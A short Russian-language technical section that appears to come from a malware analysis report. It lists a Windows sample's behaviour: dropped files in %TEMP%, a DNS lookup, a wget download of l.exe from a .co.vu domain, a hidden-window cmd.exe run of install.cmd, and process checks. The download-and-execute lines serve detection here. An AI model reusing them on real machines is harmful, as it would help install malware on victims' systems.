Техническая информация
- %TEMP%\install.cmd
- %TEMP%\wget.exe
- DNS ASK ge#####stifem1981.co.vu
- '%TEMP%\wget.exe' http://genlandstifem1981.co.vu/l.exe
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.cmd" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\install.cmd" "
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\find.exe' "wget.exe"